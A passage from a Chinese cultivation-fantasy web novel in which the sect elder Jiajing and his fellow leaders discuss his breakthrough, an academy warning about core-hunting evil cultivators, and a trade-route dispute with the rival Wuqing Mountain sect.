第一次被用神识观察的时候,他没有什么特别感觉,因为修为低下,要不是独孤英刻意用神识力量波动让他察觉,根本没感觉。 这一次,独孤英同样没有隐藏他的神识,但明显这次独孤英有了一次轻微的深入。 嗯,感觉好像是那股神识,穿透了衣物,来到了自己心口位置,停留在皮肤表层。 “金丹期的神识,果然恐怖!”同时,嘉靖也更加的深刻体会到了,在修仙世界,用神识看人到底是一件多么失礼的事情了。 这要是男修士对女修士使用,倒是属于正常,当然,这属于变态的很正常那种。 但要是男修士对男修士来个神识穿过衣服,从上到下,一寸寸细致的用神识抚摸……那怕是双方当场就会开战! 光是想想,嘉靖眼神就是一沉。 “难怪修者都要穿宝衣,除了有避尘的效果和防御攻击外,防神识也是最重要的。”想着嘉靖心中暗暗决定,看来要买一些宝衣穿了。 宝衣,其实多是一些女修爱穿,男修士其实很少购买,穿戴。 一来,这东西华而不实,想要避尘的话,一张“清洁符”分分钟可以拥有洗澡的效果。 至于那防御攻击的效果更是鸡肋。 好的法器或者宝器,都比这东西实惠。 而且质量和效果也是杠杠的,除非宝衣本身就是法器这种,否则没人会买。 二来,主要就是太贵了。 对于绝大多数修士来说,都不会把太多的灵源,花在买衣服上,有那买衣服的钱,花在修炼上,或者是对本命物的培养上它不香吗? 像是四方城内,最大的“衣行”卖的宝衣就非常的昂贵,但一般人没谁会去光顾。 “朕就买四套,能防神识就好!”身为皇帝,嘉靖心里还是有一些包袱的。 不能因为他人在修仙世界,就彻底放飞自我了。 虽然没有正常人,会用神识看男修士的身体,要么大家都是直接破开识海看本命,嗯,此举基本上就是不死不休的敌人了。 再要么就是用神识看体内的一些情况。 但不怕一万就怕万一,嘉靖绝对不允许,即便是这种微乎其微的可能发生,绝不。 “先生!” 就在嘉靖心中因为独孤英那一道神识查看而在心中暗暗警惕的时候,天际远远的飞来一道剑光,疾驰而下。 下一刻就见身穿黑色长袍,叉着腰,嘴里叼着一根干草,很是随意的刘权远远而来。 剑光没有落入院落中,而是落在了门口,而后“嘭嘭嘭”的敲门声跟着响起。 刘权此举,自然是出于对嘉靖的敬重了,上次跟黄风谷的谈判,嘉靖已经彻底折服了刘权。 每次跟嘉靖交谈,都让刘权有种茅塞顿开的豁然之感,可以说让他受益匪浅。 因此,心中对嘉靖也越发的敬重! “先生!”刚打开门,嘉靖就看到了刘权那张,胡须修剪整齐的中年人脸上,露出笑容,道:“我就知道,先生这次出关必然突破!” “我果然没有猜错,恭喜先生!” “御剑飞行,刘权,也恭喜你突破筑基,诞生神识!”嘉靖抱拳恭喜道。 看着面前自己完全感受不到他气息的刘权,还有刚才那御剑飞行的一幕,嘉靖心中也是羡慕不已,诞生神识后就可以学习御剑飞行了。 传闻“御剑飞行”乃是道门统御治下的“大房星”修仙界中,某道门前辈所创。 可惜的是,到底是哪位前辈,姓甚名谁,因为太过久远,却是无人知晓。 那位前辈不仅是创造了“御剑飞行”,更是将此术练成了一种最适用于筑基期修士的术。 而“御剑飞行”之所以会有如此影响力,甚至一直持续到现在,原因主要有三个。 其一,是筑基后修士想要飞行,就不需要用到符箓和法器了,而是通过自身修为! 其二,则是因为御剑飞行够潇洒。 在上古时期,几乎所有修士,从小的时候开始,就被宗门家族师长埋下了一颗种子,那就是御剑三万里,除魔天地间,任风雨无阻! 脚踩一柄飞剑,腰间再别个酒葫芦。 嗯,最好是那种土黄色,看起来旧旧的,还有些掉色,带斑点的那种,然后负手而立,踩着飞剑,剑光划过苍穹,何等潇洒帅气? 但是现在,御剑飞行不怎么流行了。 以往老一辈年轻时候觉得潇洒快乐,奉为修仙最初意义的行为,如今被视为老土,穷酸的象征。 一般都是没钱的散修才会驾驭飞剑赶路,打雷下雨,还要分出修为进行防御,要么就要冒着风雨前进,这不叫潇洒,这叫穷开心。 有钱的,都是乘坐飞梭,各种飞行法器,再要么就是古兽拉行的各种宫殿。 其三,则是“御剑飞行”虽说是剑术的一种,但跟剑修的御剑相比完全是两个概念。 它更像是一门专门的神识锤炼之术。 因此所有筑基期修士,都习惯性的,通过掌握御剑,来垂炼自己的神识。 因此传着传着就“烂大街”了。 当然这个烂大街可不是说这“御剑飞行”太差,而是因为它太实用了,几乎成了所有修士从练气突破筑基后,无法绕开的一个术! 就像是有的人必须要学会走路一样,这是个修仙之人必备的东西,可以不用,但不能不会。 属于修仙路上,启蒙的东西! 嘉靖正是因为了解过“御剑飞行”这个术,所以看到来人是刘权,知道他大半年前就靠着开辟战争所得的好处,完成了“七跳九”,突破了练气九层,距离筑基也不会太远。 所以,才会断定,他突破到了筑基期。 “说实话先生,若是旁人恭喜我,那我定是不带半点谦虚的,”刘权笑着进门,毫不见外的来到院子里的石桌前坐下来,道: “但说这话的人是你,我就得意不起来了。” “这才多久?不到两年吧?” “一年多,不到两年,先生就从浑身毒素,肉体凡胎的凡人,突破练气六层。照这个速度下去,恐怕两年半左右,就能突破筑基了。” “没那么快,”听到刘权的恭维,嘉靖却是笑着摇头,道:“才刚刚突破练气六层,估计没个一年半载,突破不了练气七层。” “想要突破练气九层估计要三年多!” “正常情况下确实如此,”然而就在嘉靖刚说完,刘权就嘿嘿一笑,给嘉靖一个意味深长的眼神,语气幽幽道:“若有其他奇遇呢?” 听到刘权这么一说,嘉靖突然想到了当初,刘权说他“七跳九”从练气七层,突破练气九层时,对他说过的一番话来…… “瞧你那样!” “只准你修炼如飞,我跳个境界很惊讶吗?” “得益于开辟战争啦。” “开辟战争,大家都有收获,那些古兽的血肉、还有一些灵药、奇珍都是修行路上,不可多得的东西,我是因为本命物有所增强,本命反哺之下,修为才有了这爆发。” “别想了,等掌门出关若是有所突破,剩下暂时无用的资源,他大概率会赏给弟兄们……到时候,你应该也会有份的……” 再联想到刚才那股熟悉的神识,嘉靖心中一怔,看向刘权,试探道:“你是说?” “先生想的没错,还记得我当初跟你说的吗?”刘权笑了笑,抬手拿出一副茶盏,给自己跟嘉靖倒了一杯后,道: “半年前,你闭关后,我按照你教的方法,负责跟‘御兽门’商议开野市的事宜。” “那‘御兽门’没有迟疑很爽快的答应了…嗯,过程之后我再给你细说,”刘权喝了一口灵茶,道:“之后,我们就去找了一趟,书院在四方城的执事,办理了野市开设许可牒文。” “按照当初跟黄峰老儿约定的,约定的血契这东西,自然是要掌门亲自签的,在给掌门闭关之所发了消息,不到半月他就出关了。” “好在,掌门金丹初期的修为,有所精进,没有因为这事给耽搁了。” “之后,掌门听说了‘野市’和先生你的打算安排后……”说着,刘权卖了个关子,看向嘉靖,道:“你猜掌门答应了吗?” “自是答应了。”嘉靖面容微缓,想都没想,就拿起茶盏轻抿了一口。 “不错!掌门对你想要动‘灵脉生意’的心思并未拒绝,用他的话说,先生可以放手去做,宗门的经营方面,他们三兄弟不懂,就一把子力气,只负责强大,做宗门后盾即可。” “至于其他方面,我们四大长老,各司其职就行!” “就算出乱子了,大不了一起扛!” 听到这话,嘉靖脑海中,也不由的浮现出独孤英那魁梧壮硕宛若小山一样的体型,还有那憨厚的表情来,面容越发缓和,柔软下来。 用人不疑,疑人不用,大手放权,还敢打敢杀敢闯的性格,确实不失为一种魅力! 不过这种人格魅力,他却是无法做到。 或许也正是因为独孤英的特别,所以才能让刘权,宋薪柴对他死心塌地,黑风寨也能从一伙散修山匪势力,一步步发展至今。 就像是他朱家的老祖宗一样,农民放牛娃,要饭僧人,一步步走来,谁能想到他会建立大明? “掌门修为精进后,还剩余了不少在开辟战争中,获得的古兽血肉,和一些灵草边角料,”说着,刘权对嘉靖挑了挑眉,道: “掌门可是专门给先生留了最好的古兽血肉,有这东西在,别说两年半,以先生的修炼速度,怕是一年半突破筑基,也不是不可能!” 听到刘权这么说,饶是嘉靖也不由的,心头猛的一跳。 刘权练气七层的修为,参加开辟战争,都获得了不少好处,得以“七跳九”突破筑基。 掌门独孤英,是金丹期大修士,在开辟战争中,定然获得了更多的好处。 别说特意给自己留的,就算是他指缝间流出的一些好东西,也足够自己用了! 如此一来,岂不是说他才突破练气六层,很快修为又将迎来一次突破? “我就知道,面对修为境界的提升,就算是先生你,也不能坦然了,”刘权笑着起身,道: “我这次来,就是奉掌门命,带先生去主峰大殿议事的,说起这议事我就窝火……”说话间,大手一挥,飞毯放大出现。 “先生,边走边说,”刘权当先跳了上去,“这次是野市的原因……” 闻言,嘉靖压下心中的激动,一跃而上,在特质道袍的加持下,飘逸而潇洒,像极了传说中的谪仙,看的刘权又是一阵咂舌。 待嘉靖落在飞毯上,稳稳坐好后,刘权抬手拍了拍飞毯,道:“出发了!” “嗖!”黑色的飞毯化作一道黑线,朝着大明仙宗,主峰所在位置而去。 “……” 第一百二十一章 来自无情山的麻烦。书院的通缉牒文! “一群臭婆娘!”刘权嘴上那根干草,不知道什么时候,又叼上了,神情间却满是不爽道:“简直比我们这些做山贼还要山贼!” 嘉靖投去一个好奇的目光。 “要说这事,我就来气,”提起黄峰,刘权又是一阵牙根痒痒,“先生,你是不知道,我们当初都被那黄峰老儿给摆了一道!” 先是骂什么臭婆娘,又说被黄峰给摆了一道?嘉靖没有说话,等待着刘权的下文。 看来这大半年的时间里,还发生了不少事。 “要说起来,这事也怪我,没有了解清楚情报,唉!”刘权说着垂头丧气,道: “我们以为商道航线只要打通了被‘黄风谷’和‘清源仙派’控制的南面和北面就行了,之后就能打通四方城和东南城的路线。” “但没想到的是‘无情山’那帮臭婆娘却横在了后面,禁止任何人从他们上空飞过!” “想着去交涉一下,看看能不能谈谈,结果?愣是油盐不进,谈都不愿意谈!” 无情山?那个全是女弟子,仇恨天下男修的门派?嘉靖脑海中浮现出之前刘权跟他说的,大明仙宗西边这四家宗门情况来。 大明仙宗,位于四方城的东北方方向。四方城的西北边是“清源仙派”,靠近北境山脉,南边是“黄风谷”,最西边则是“小蜀山仙派”。 这个“无情山”似乎是跟“小蜀山仙派”紧挨着,不过位置却是在“小蜀山仙派”的后面。 如此一来,从地势上看,那就是“无情山”、“小蜀山仙派”和“清源仙派”以及“黄风谷”,三者合起来呈一个“川”字。 大明,在“川”字的右边。 现在大明从右往左,攻破了“川”字的第一道防线,也就是“清源仙派”、“黄风谷”,第二道防线是“小蜀山仙派”。 因为黄风谷和“小蜀山仙派”有关系,黄峰的小儿子,被“小蜀山仙派”背后的中原大宗,“蜀山剑宗”收走,双方算是有旧。 因此,第二道防线也不是问题。 如今看来,是第三道航线“无情山”这里出了问题,这群女修仇恨天下男修。 “我就说,黄峰这老儿当初怎么那么痛快答应了下来,合着他早知道商道没法开辟了!” “这老东西,真够阴,真够无耻的,明明我们现在是合作关系,他却不事先告知……” “合作归合作,但我们开辟商道航线,跟他们没有半点关系,”嘉靖微微摇头,语气平静,道:“黄峰完成了他的约定,没有义务告诉我们这些,不过此人确实不够大度……” 嘉靖对黄峰会这么做,并不意外。 虽然这个黄蜂掌门有身为上位者的眼见和魄力,但行事作风上,终究是少了一些胸襟。 虽说黄蜂没有义务这么做,但既已经达成合作,这种与他们利益并不冲突的消息,提前知会一声,卖大明个人情又能如何呢? “这无情山没有任何诉求吗?”嘉靖眉头微微皱起。 “是啊!”刘权砸了咂嘴,摊了摊手,有些丧气道:“这群疯女人,脑子里也不知道在想什么,送去的拜帖也不回,也没个说法。” “不能绕开吗?”嘉靖问道。 “当然能绕,”刘权摇头苦笑,“可先生您也知道,东荒这片地域刚开辟。‘无情山’之所以取这个名字,就是因为四面环山。” “要是绕开,就要经过一大片的荒地,这些荒地都是开辟战中留下的。” “书院和大宗门,只负责对付那些强大的古兽,一路‘秋风扫落叶’式的横推。” “难免会留下一些地方照顾不到,东荒又不允许中原大宗驻扎,剩下的小麻烦就只能靠我们这些新宗派,不时的去清理了。” “无情山周围那些荒地,古兽也不少,开辟战争中躲避进去的,听说还有金丹期的古兽。” “若是绕道将荒地上空当做商道航线,就要防备古兽被惊扰,然后攻击商道。” “如此一来,成本会大大增加!” “所以,”听完刘权这一番分析,嘉靖也恍然道:“从‘无情山’头顶飞过去最安全。” “否则,若是绕道,就增加了商道航线的风险,再要么就是将那片荒地清理掉?” “没错!”刘权一拍大腿,呲牙咧嘴道:“可清理荒地,凭什么?” “这种吃力不讨好,收益和付出完全不等的傻事,咱也不能干啊,您说是吧?” “嗯,”嘉靖微微点了点头,缓声开口,道:“我大明可以独立铸造‘飞梭’,这是一大笔收入来源,加上如今野市开设完成,以及四方城家族那边的物资就能流通。” “一旦商道航线打通,就可以向隔壁的东南城发展,形成一条多线商路。” “所以‘无情山’上空的商道航线必须要打开!”嘉靖语气中,透着一股不容置疑。 “唉,”刘权摇头轻叹,而后又像是被气笑了一样,道:“我是没辙了,那群娘们拒绝交流,拒绝见面,总不能打上门去吧?” “先不说‘无情山’背景肯定也不凡,咱们白手起家,就掌门一个撑着,根本得罪不起,单说随意攻打别人宗门,书院就不会轻饶。” “先生,就看你的了!”刘权说着,向嘉靖投去一个期盼的眼神。 “所以,掌门叫我过去,除了要给我修行资源外,主要就是为了这事?”嘉靖问道。 “是,但不全是,”刘权说着,语气突然严肃下来,道:“书院给整个东南区域,下达了一份牒文通告…到了!等会您就知道了。” 说着刘权拍了拍飞毯,飞毯的速度缓缓降了下来,而后朝着远处的巨大宫殿而去。 现在的大明仙宗,刚刚见礼,门中弟子也不过是大猫小猫几只,其他的都是一些练气一二层的原来“黑风寨”的一些弟兄们。 所以整个大殿外的广场显得很是空旷。 偶尔只有三四个列队巡逻走过的原来山寨练气一二层的弟兄,嗯,现在叫外门弟子。 大明仙宗也是仿照修仙世界,其他宗派的内部划分来做的,分为杂役弟子、外门弟子和亲传弟子,还有严格的晋升标准。 可惜的是,现在的大明,算上独孤东来,李鱼、独孤傲、独孤红叶这些孩子,也没有一个内门弟子,只因为没有达到要求。 飞毯停在主殿“望仙殿”外,嘉靖跟刘权并肩步入大殿之中,看到了上首位置,坐着的那个宛若小山一样,体型似乎又魁梧了的男人。 原先的独孤英,身高约八尺半,如今他的身高似乎又涨了不少,整个人越发的巨大。 不仅如此,这次出关之后,独孤英那浑身隆起的肌肉块上,根根炸起的筋肉,隐隐呈暗红色,远远的,身上的气势给人一种凶悍感。 一双眸子依旧迥然有神,可那双眸子却隐隐有些外凸,唯一给人正常的是,眼瞳黑白分明,看不出什么凶,暴虐之感。 “功法特殊,还是本命缘故?”嘉靖心中好奇,但还是微微欠身见礼,道:“掌门。” “先生来了,快坐!”看到嘉靖,独孤英顿爽朗的笑着,示意嘉靖赶紧在下方入座。 下方左右两列座位,左边是左护法独孤雄,右边是右护法独孤汉。 这二人的体型,倒是没有变化。 刘权身为大长老,坐在左边,他旁边坐着的是二长老宋薪柴,右边独孤汉旁边是三长老柳源,然后是四长老嘉靖的位子。 一共七个人,大明仙宗的高层。 “哈哈哈,”这时,上方的独孤英蒲扇一般的大手挥了挥,大笑道:“首先,让我们恭喜四长老,朱先生突破练气六层!” 说着,挥手间每人旁边的桌上,都出现了一杯灵气扑鼻的灵酒。 而后,独孤雄和独孤汉,刘权等人纷纷拿起酒杯起身,对着嘉靖。 见此,嘉靖也不托大,拿着酒杯起身。 “先生两年不到的时间,从一介凡人突破练气六层,绝对是妥妥的天才!也是大明仙宗真正意义上的第一天才!”独孤英瓮声瓮气道。 一张狰狞却不失憨厚的脸上,满是真诚之色。 独孤雄、独孤汉、刘权、宋薪柴和柳源,也都是羡慕的看着嘉靖。 羡慕什么?当然是有个好本命了! 一个人,在筑基之前的修行速度,其实是天定的,有人本命天生强大,没有绑定本命物的时候,自然修炼也比旁人快些。 这是本命天然就对修者修行有反哺的缘故,正如嘉靖的大明一样。 一国之力,助他修行,别说现在渐渐修复的大明,就算是此前千疮百孔的也不是旁人一般的本命所能与之对比的。 此外,除了本命之外,还有自身本来的资质,在筑基绑定本命之前也是先天决定的。 在众人看来,嘉靖本命显然不差,甚至可以说是强大无比了,否则凭什么让他以五旬年纪初始修行,短短两年不到突破练气六层? 要知道,现如今整个宗门高层里,修为强弱,大致可以分为四档。 第一档,自然毫无争议的是,金丹大修士的掌门独孤英了。 第二档则是筑基期。 筑基后期的左护法独孤雄,和筑基中期的右护法独孤汉,以及刚刚突破筑基的刘权。 第三档就是练气期。 练气六层的宋薪柴,不对,如今得益于开辟战争资源,他已经突破到练气八层。 接下来,就属嘉靖后来居上最强了。 之后则是柳源,他没有参与开辟战争,自然没有得到资源,大半年时间一直都在忙着造“飞梭”也没有太多时间修炼,自然还是练气五层。 要说在场众人中,此刻心思最复杂的,莫过于柳源了,一双深邃的老眸中很是酸涩。 他也是出身散修,前半生颠沛流离,中年后得到飞梭传承,生活才有了起色。 按照年龄的话,他跟嘉靖是相仿的,最多也大不过嘉靖三岁,如今看到嘉靖如此修行速度,心里说是没有感觉那是不可能的。 不论是修仙界,何等职业的大师,终究本质上讲,也是个修仙者。 修仙者,终究还是要追求仙道的! 嗯,他也好奇,到底什么样的本命,能让嘉靖有如此之快的修行速度? 嘉靖自然也感受到了身旁柳源投来的羡慕,酸涩于一体的复杂眼神,不过他只当没看到。 他修为提升如此之快,旁人自然会对他的本命充满了好奇。 不过也只能好奇好奇了,他是不会告诉任何人自己的本命是何物的。 当然,在修仙界,想要看到他人本命,除了别人主动站在‘本命映照法器’下让看之外,还有一种,那就是修为高绝者,以庞大的神识,强行破开他人的识海,窥视本命! 嗯,不过这么做的话,被破开识海的人也必然会身死道消,魂飞魄散。 这就等同于,有人拿一把锤子,用暴力砸开脑壳,去看一个人的脑子长什么样一样。 甚至,脑壳被暴力砸开,人估计可能不会死,但神识强行破开识海必死! “来,俺们敬先生一杯!”这时,独孤英拿着酒杯,爽朗一笑后,仰头一口灌了下去。 喝完酒,众人再次落座。 “接下来说正事,”这时,上方的独孤英神情严肃下来,看向刘权,“大刘,给大家看看吧。” 嘉靖跟柳源对视一眼,而后看向起身的刘权。 只见他抬手,巴掌大的一块玉牌出现,随着灵气的注入,玉牌上金色的流光浮动。 不一会,就见道道金色的光点朝着半空汇聚而去,很快就见一篇洋洋洒洒的文字出现。 【白马书院通缉牒文。】 牒告诸位同道: 天地阴阳,正邪殊途。吾等修仙之士,当持正义之心,护众生安宁。 近闻有邪修猎取本命,祸乱中原,荼毒生灵,实乃逆天行事,人神共愤。兹令我院麾下,凡遇此辈,务必立即上报,勿使遁形。 又报大荒之地,亦有邪气。恐其流窜大荒东南一代,祸延大荒。凡大荒修士,当同心协力,彻查妖邪上报书院,还大荒仙道安宁。 且大荒既辟,诸宗门各得其所,步入正轨,然荒野犹存,尚待清剿。此乃吾辈之责,亦为大荒福祉。望各宗门勿忘初心,肩负重任,尽心尽力,使大荒无虞,天下太平。 特此牒告,希即遵行!】 洋洋洒洒两百来字,透露的消息有两个。 一,有猎取本命邪修在中原肆虐,同时大荒也有邪修活动,可能流窜到大荒东南一带。 二,大荒刚刚开辟,各宗门步入正轨后,要肩负起大荒境内,其他未清理的荒地,以确保大荒无虞。 “猎取本命?!”看到这个,嘉靖目光一凝,猎取本命之说在“修行通识纪要”里是有讲过的,以强大的神识破开识海,强行夺取。 这段时间,嘉靖对修仙常识也有了一定的认知和了解。 其实想要反哺本命,除了正规途径,培养打磨本命物之外,还有一种就是直接融合属性相同的本命,直接壮大自身。 不过,这种方法的可行度太低。 除非是辅以特殊的阵法或者是法器,并且过程中,还要确保被破开识海的人不死。 这难度,可是相当之大的,此外就是太过有伤天和,用别人的本命弥补自身,这属于是邪魔修士的手段,而且这种方式还有种种副作用。 最简单直白的就是,吞了别人的本命,原本跟自身最契合的本命容易发生排异。 此外,在后期境界的突破上,容易滋生种种心魔,比如那些修士可是被活着的时候取出本命的,识海汇聚元神精魄,可以说是罪孽深重! 一旦被他人举报,书院会直接派人来查,一经核实,绝对不会轻饶了的。 但看书院的通缉牒文,显然事情闹到了一定程度,要不然不会这么大张旗鼓的。 “猎取本命,都知道意味着什么吗?”上方的独孤英语气低沉,黑白分明的眸子里,闪烁着寒光,“这是那些邪修才有的手段!” “大刘,你有什么想法?”说着,独孤英看向了刘权。 “如果真有这么一伙邪修已经到了东南的话,我担心他们最有可能藏匿之地是…”说着,刘权的面色有些难看,道:“野市!” 嘉靖闻言,也是眉头一拧。 刘权的担忧是有可能的,野市之所以能赚大钱,就突出一个混乱,鱼龙混杂。 一旦那伙猎取本命的邪修出现在东南一带,那很大可能会前往野市。 “东南这片区域,目前有多少野市?”这时,嘉靖突然开口问道。 “呵,”闻言,刘权摇头苦笑,道:“先生,我们是最早开设野市的。” “毕竟开辟战争结束也才大半年时间,允许开野市的都是咱们这些新宗派。” “不过倒也不必太过担心,”这时,见识的世面比较多的柳源开口,道:“东南三座修仙大城,四方城、东南城和南角域。” “地域如此之广阔,野市又只有我们跟‘御兽门’开的这一座,反而目标会很大。若是那伙邪修去了野市,反而是请君入瓮了。” “再说,野市有书院开设的生意,怕是书院已经在四方城和野市布局了。” “我倒是觉得,他们更可能会去一些未开辟的荒地之中避难。” 经过柳源这么一说,刘权也微微点头。 这话说的倒也在理的,整个东南,野市就这么一座,谁都知道野市鱼龙混杂,一般的散修犯了事,都习惯性的往野市钻。 然而书院这次这么大张旗鼓的下达通缉牒文显然是动真格的了,那如此一来,野市反而是最容易暴露在书院视线之下的。 想来,这些人不会这么蠢,往最危险的地方跑。 “先生,您有什么看法?”这时,刘权看向低头沉思的嘉靖。 “我在想,猎取本命之人,是什么修为?又猎杀了多少修士?还有,这伙人能从中原流窜到大荒,这么久了书院竟然没抓住?” “最重要的是,牒文上一直说的是,发现邪修立刻上报,要么就是彻查,始终不曾要求东南宗派,全力捉拿或清缴……” “这说明了什么?”嘉靖看向众人。 “这说明,书院认为,东南一带的宗派,没有人能对付他们,所以只是让上报!”刘权面色有些阴沉的说道。 “东南这片区域,最强的修士什么境界?”嘉靖看向刘权问道。 “金丹期!”刘权看了眼上首位置的独孤英,而后又开口道:“开辟战争,其实主要是那些中原大宗,以及修仙家族和书院的功劳。” “碍于书院规定和要求,为确保大角星修仙界土地、资源等不被那些大宗独霸。” “以至于形成一种不良的发展风气,所以开辟的荒地,是不允许中原大宗门的元婴期老祖,直接开山门,坐镇一派的。” “除非是完全脱离宗门,以散修的名义,并在开辟战争中立下功劳才允许开宗派。” “所以这些中原大宗,只能派宗门金丹期以内的弟子,前来另起门户。开辟战争中,比如‘小蜀山仙派’,就是以雇佣的方式,雇了宗门长辈,这才立功开辟门户。” “说白了,还是隶属于中原大宗‘蜀山剑宗’的,只是钻了一些书院的空子……” “开辟战争还用得到这些中原大宗,只要不过分,书院也就睁一只眼闭一只眼了。” “帮助后辈开辟立功,开辟门户后,这些人要么离开,要么留下……听闻南角域那边有个‘小烈阳宗’大长老元婴期,呵!” 说着,刘权发出一声嗤笑。 “然后你们猜怎么着,这位元婴老祖,在开宗立派之后,又辞去了大长老之职,游历中原去了,留下了一个金丹期徒弟坐镇。” “谁不知道那‘小烈阳宗’是中原大宗,烈阳仙宗的下属门派?但规则就是这样,按照书院规定,人家这些玩法,合情合理。” 刘权说着,说着,话题又扯远了,说话间还有些仇富的意味。 “也就是说,这伙猎取本命的邪修,修为肯定是在金丹之上的。”嘉靖没有理会刘权话语中的仇富意味,“如此也就说的通了。” “书院知道东南这一带没人能招惹。所以不让捉拿和清缴,而是让发现后上报。” “那为什么不直接告诉对方修为?”老实人宋薪柴提出了疑问。 “怕引起恐慌!”刘权接过话,面色越发难看了,“金丹不是对手,不方便告诉众人……” “那就说明,这些猎取本命的邪修,有人的修为,怕是远超金丹,甚至是达到元婴期!” “这事,不是我们能对付的,”说着,刘权看向独孤英,道:“邪修报复性极强,就算发现了,也当做不知道,我们惹不起!” 听到刘权这么说,嘉靖也看向了独孤英,从他的角度来考虑,也是这么想的。 独孤英虽然是金丹期大修士,可也是金丹初期,遇到同级战斗起来都很麻烦,何况是高出一个大境界的人,对方说不定还有金丹期的修士。 遇上这种事,最好的解决办法,就是不接触,不沾边,躲的远远的。 不做事,可能不会错,但做了却不一定有好处,反而会因此而得罪自己远远得罪不起的人。 “好,我知道该怎么做了,我大明仙宗不参与此事!”独孤英沉默片刻后点了点头。 他是讲义气,对兄弟很好,办事很讲究,可他也不傻,明知道惹不起,自然要躲! 这事要是粘上了,指不定会被报复。 这么大基业,眼瞅着刚起步,好日子要来了,可不会断送了。 至于书院那边,又没指定让某一宗门去做事,到时候把野市把关严格些,做做样子,给书院个面子就是了,没必要拼命! “先生,您是怎么想的?”这时,独孤英又看向嘉靖,询问道。 “我同意刘权的想法。”嘉靖看向刘权,道:“那伙邪修是亡命天涯的散修势力倒也罢了,可要是背后有门派组织等势力。” “那我大明要是管了,怕是会招惹无妄之灾!” “好,此事就这么定了!”独孤英大手一拍,给这件事定了调,然后又道:“邪修之事就让他过去好了,开荒一事却不能推辞。” “这是每个宗派的义务,必须要去做,书院会派人定期检查,有功者会赏,不负责任的宗派,也会遭到一些处罚。” “大明的东边是无涯林,而在无涯林最东边,就是无尽山脉,那可是十足的荒地,倒是可以跟御兽门一起,将山脉外围扩大一些。” “如此,还能将野市的范围,再扩大一些。”刘权开口说着。 “为何不在‘无情山’周围开荒,那一片也是荒地,还能开辟商道航线?”这时,宋薪柴突然开口,道:“如此也不用再看‘无情山’那群女修的脸色行事了……” “帮她们开荒?”刘权冷笑道:“老子没有用热脸铁那群臭女人冷屁股的习惯!” “老宋你信不信?你今天帮她们开荒了,隔天,这群女人就敢独霸那一片地域,到时候,你商道航线还是开不了,过不去!” 被刘权这么一说,宋薪柴老实巴交的脸上,露出一抹红晕,嗯,是尴尬的! 他平常不善于在宗门会议上发表看法,现在说什么也是高层了,刚说完被否定有些尴尬。 “老宋,我不是针对你,你是老实人,没跟那帮娘们打过交道,虽然我也没有,但你要是去上一次,就知道是何等傲慢了!” “这商道,我宁愿承担风险绕路,也绝不帮她们做这些吃力不讨好的事!” “先生,您怎么看?”刘权说着,看向嘉靖。 “……” 本章7K+,算是晚更的补偿,诚意满满。 第一百二十二章 无情山?安排!古兽血肉,筑基将提前! 刘权这番话,仿佛是在找支持者。 看着颇为义愤填膺的刘权,嘉靖不由微微摇头,道:“自是不能帮别人白干活了。” “啪!”说着,随着嘉靖话音落下的瞬间,刘权当即就一拍手掌,道:“不错,先生都说了,不能白帮别人干活。” “最重要的是,有些人,不值得!” “你就算是做的再多,他也不会记你的好,甚至他会觉得理所当然,依旧保持着自己高高在上的傲慢态度,凭什么啊?” “我大明仙宗,是欠她们‘无情山’的吗?” 众人都不由得神色古怪起来。 显然,刘权能有这么大的反应,定是在几次拜访‘无情山’而遭到无情拒绝后,在那群女修面前落了不少面子才会如此。 “商道航线刻不容缓!”这时,嘉靖等到刘权的情绪稍微稳定后,又继续开口。 不等刘权发问,跟着便开口说出了自己的考量。 “无情山的周围也是一片荒地,既然如今书院已经下达了正式的荒地清理牒文,那接下来‘无情山’也必然是要参与的,若是……” “诶,等等!”这时,刘权突然像是反应了过来,看向嘉靖,迟疑道: “先生的意思是说‘无情山’那帮女修,会选择周围的荒地开荒?” 问完,他又觉得自己说了句废话。 ‘无情山’断绝与外界的一切往来,那要清理荒地,自然是选择就近的了! “若是如此,那等到‘无情山’这群女修,将周围的荒地给清理了以后,岂不是说……”说着,刘权突然停了下来。 而其他人这时也跟着反应了过来。 对啊,对于大明如今来说,想要通往东南城的商道航线只有两条,要么从‘无情山’的上空飞过,要么从旁边荒地绕路。 按照现如今的情况来分析的话,一旦‘无情山’那帮女修将荒地清理了以后,那必然也会属于她们无情山的地盘。 到那时候,大明所有的商道航线,可真就是被真正的堵上,没有一点的余地了。 “商道航线必须要开辟!”这时,柳源也跟着开口了,“我已经打造了六艘运输型的飞梭,卖出去至少能为宗门回三十万两灵源!” “而且,制作飞梭的材料也不够了,这三十万中,还要抽出一部分来购买材料。” “野市和四方城虽然也能卖,但四方城内,宗派家族,都是有背景的,根本不需要额外购买飞梭,其他散修势力买得起的有数。” “再要么就是一些小宗派,他们又用不到这种大型运输飞梭,买来根本没用。” “对于那些小宗派来说,就种种灵田,卖卖富余的灵米,或者是一些草药,自给自足。” “因此飞梭这生意,一次两次可以在四方城和野市内售卖,可时间长了,迟早没人购买,而一旦商道航线打开,我们就有了更大的市场,可以运往东南城和南角域,甚至更远……” “既然‘无情山’拒绝交谈,那我们就只能利用荒地这一条商道航线了,”嘉靖说着,抬了抬手指,略一思索后继续道: “所以‘无情山’周围的荒地,我大明,必须要抢先清理,如此才能抢占先机!” “可是,”刘权皱了皱眉,而后有些不爽的开口道:“如果我们将荒地开辟出来,那帮娘们儿又故技重施,封锁航线怎么办?” “毕竟‘无情山’就在那一片荒地的中间位置上。” “若是她们再阻挠,故意为难我大明,那我们也不必再客气。”说到这里的时候,嘉靖的语气,也不由的跟着冷了下来。 “虽然书院的规定新宗门三代之内不允许互相吞并,攻伐,但这有一个前提,”嘉靖说着,搬出了一本《书院律》,递给一旁的柳源。 “宗法制中的新宗门三代掌门保护期规定,说的是宗门之间的摩擦和开战,并不是以一方吞并另一方为目的展开的生死之战。” “现在是‘无情山’在阻碍我大明的发展,别说我们一忍再忍始终要跟对方交流谈判,却都被拒绝,对方如此行事…开战又如何?” “闹到书院那里去,我们也占着道理。我们已经将事情做的仁至义尽,若是她们还咄咄逼人的话,我大明也不是软柿子!” “对啊,我倒是把这茬给忘了,”刘权顿时拍了拍脑袋,摇头道:“啧,瞧我这脑子!” “自从建立了宗派之后,做事情总想着遵守书院的规矩,都是忘记了一些山寨生存的法则,把老本行给忘了!” “山贼行本就是弱肉强食,现在别人都要饿死我们了,自然是不能再妥协下去了,就算开战那也是她‘无情山’先挑起的事!” 其他人听到这里,也是豁然开朗。 没错,他们确实忘了这一茬了,只记着书院定下的条条框框,其中最严重的一条就是新兴宗门,三代掌门之内严禁互相攻伐。 却忘了这条铁则说的是,不以致对方宗门为死地,让对方宗门破灭为目的的争斗。 若是对方欺人太甚,那自然是要开打的! 